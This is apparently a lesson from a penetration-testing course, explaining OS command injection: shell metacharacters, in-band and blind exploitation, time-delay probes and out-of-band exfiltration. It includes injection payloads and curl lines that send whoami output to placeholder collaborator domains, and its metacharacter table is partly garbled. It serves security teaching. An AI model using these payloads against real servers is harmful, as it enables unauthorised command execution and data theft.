OS Command Injection: Exploiting Vulnerabilities

Hello! Welcome to the first lesson of Module 8.

In our previous module, we focused heavily on client-side vulnerabilities, where the victim's browser is the primary target. We explored attacks like XSS, CSRF, and Clickjacking. Now, we're making a significant shift in focus from the client to the server. In this module, you'll learn how to attack the very machine that hosts the web application.

Today's lesson is on OS Command Injection, one of the most critical server-side vulnerabilities. When successful, it allows you to execute arbitrary commands directly on the server's operating system, often leading to a full system compromise. Your background in computer science will be valuable here, as we'll be looking at how application code can insecurely interact with the underlying OS.

Your learning outcome is to identify and exploit OS command injection vulnerabilities to execute arbitrary commands on the server.

1. What is OS Command Injection?

At its core, OS command injection (or shell injection) happens when an application takes user-supplied data and includes it in a command that is executed by the operating system's shell. If the application doesn't properly sanitize or validate this input, an attacker can inject their own commands.

Let's begin by reading a formal definition and a classic example.

The key takeaway is that the vulnerability isn't in the OS command itself (like ping or stockreport.pl), but in how the application constructs the command string using untrusted data.

2. Identifying Command Injection Vulnerabilities

To find command injection flaws, you need to think like a shell. Shells use special characters, or metacharacters, to control how commands are executed. By injecting these characters into user inputs, you can test if the application is vulnerable.

Here are the most common command separators you'll use:

Metacharacter	Behavior	Works On
&	Executes the first command and immediately starts the second in the background.	Unix & Windows
&&	Executes the second command only if the first command succeeds.	Unix & Windows
`	`	Takes the output of the first command and "pipes" it as input to the second.
`		`
;	Separates commands; executes them sequentially, regardless of success.	Unix only
\n or %0a	Newline character; often treated as a command separator.	Unix only

Additionally, you can use command substitution characters, which execute a command and substitute its output into the original command line:

• `injected command` (backticks)
• $(injected command) (dollar-parentheses)

When testing, you'll inject these characters followed by a simple command like whoami or id into every input field, parameter, or cookie you can find. Then, you observe the response.

3. Practical Exploitation: From In-Band to Blind

Command injection vulnerabilities come in two main flavors:

1. In-Band (or Classic): The application's response includes the output from your injected command. This is the easiest to exploit as you get direct feedback.
2. Blind: The application executes your command, but the output is not returned in the response. This is more common in real-world applications and requires more clever techniques to exploit.

The following video provides a fantastic end-to-end demonstration. It starts by showing vulnerable code, exploits a simple in-band case, and then walks through a full lab for blind command injection.

The output redirection technique shown in the video is powerful, but it relies on finding a writable directory within the web root. What if you can't find one?

4. Advanced Blind Exploitation Techniques

When output redirection isn't an option, you need other ways to confirm a blind vulnerability and exfiltrate data.

a) Time Delays

You can inject a command that forces the server to pause, or "sleep." If the server's response is delayed by the amount of time you specified, you've confirmed command execution.

• Linux: sleep 10
• Windows: ping -n 11 127.0.0.1 (pings for 10 seconds) or timeout 10

b) Out-of-Band Application Security Testing (OAST)

This is the most reliable method. You inject a command that forces the server to make a network connection to a system you control. Tools like Burp Collaborator or the free request.bin service can provide you with a unique URL to receive these connections.

Common OAST payloads include:

• nslookup your-collaborator-domain.com
• curl http://your-collaborator-domain.com
• wget http://your-collaborator-domain.com

You can even exfiltrate command output this way:
curl http://your-collaborator-domain.com/?data=$(whoami)

The next video shows a real-world bug bounty report where a researcher earned $1,870 for a blind command injection, using time-based techniques to confirm the flaw and OAST to exfiltrate data.

Test your understanding!

You are testing a "file converter" feature that takes a URL as input. You suspect a blind command injection vulnerability. You inject the payload https://example.com; sleep 10 and the server responds after 10 seconds. You have confirmed execution, but you can't find a writable directory to redirect output.

How would you use an OAST tool (like Burp Collaborator, which gives you the URL xyz.burpcollaborator.net) to retrieve the output of the whoami command?

Show answer

You would craft a payload that executes whoami and sends its output to your Collaborator URL. A good payload would be:

https://example.com; curl http://xyz.burpcollaborator.net/ --data "$(whoami)"

This injects a curl command. The --data flag sends the output of the whoami command (executed via $()) in the body of a POST request to your Collaborator server. You can then check your Collaborator client to see the incoming request and its body, which will contain the username of the application process.

5. A Compendium of Injection Payloads

As you've seen, successful exploitation depends on having the right payload for the situation. There are countless variations for different operating systems and filter bypasses. The resource below is an excellent reference guide.

Conclusion

You've now taken your first major step into server-side exploitation. OS Command Injection is a high-impact vulnerability that demonstrates a fundamental failure to separate user data from executable code. Mastering its detection and exploitation is a hallmark of an effective penetration tester and bug bounty hunter.

Key Takeaways:

• Root Cause: OS command injection stems from an application building shell commands using unsanitized user input.
• Detection: Use shell metacharacters (;, &, |, $(), `) to probe for vulnerabilities by chaining or substituting commands.
• In-Band vs. Blind: Exploitation is straightforward if the output is returned in the response (in-band). If not (blind), you must use indirect methods.
• Blind Exploitation Techniques: The three primary methods for blind injection are time delays (to confirm execution), output redirection (to write output to a file), and OAST (to exfiltrate output over the network).

Next Lesson Preview:
In this lesson, we saw some basic protections, but we didn't focus on defeating them. In the real world, developers often try to filter out malicious characters. Our next lesson will be dedicated entirely to that challenge: Bypassing command injection filters using techniques like command separators, wildcards, and encoding.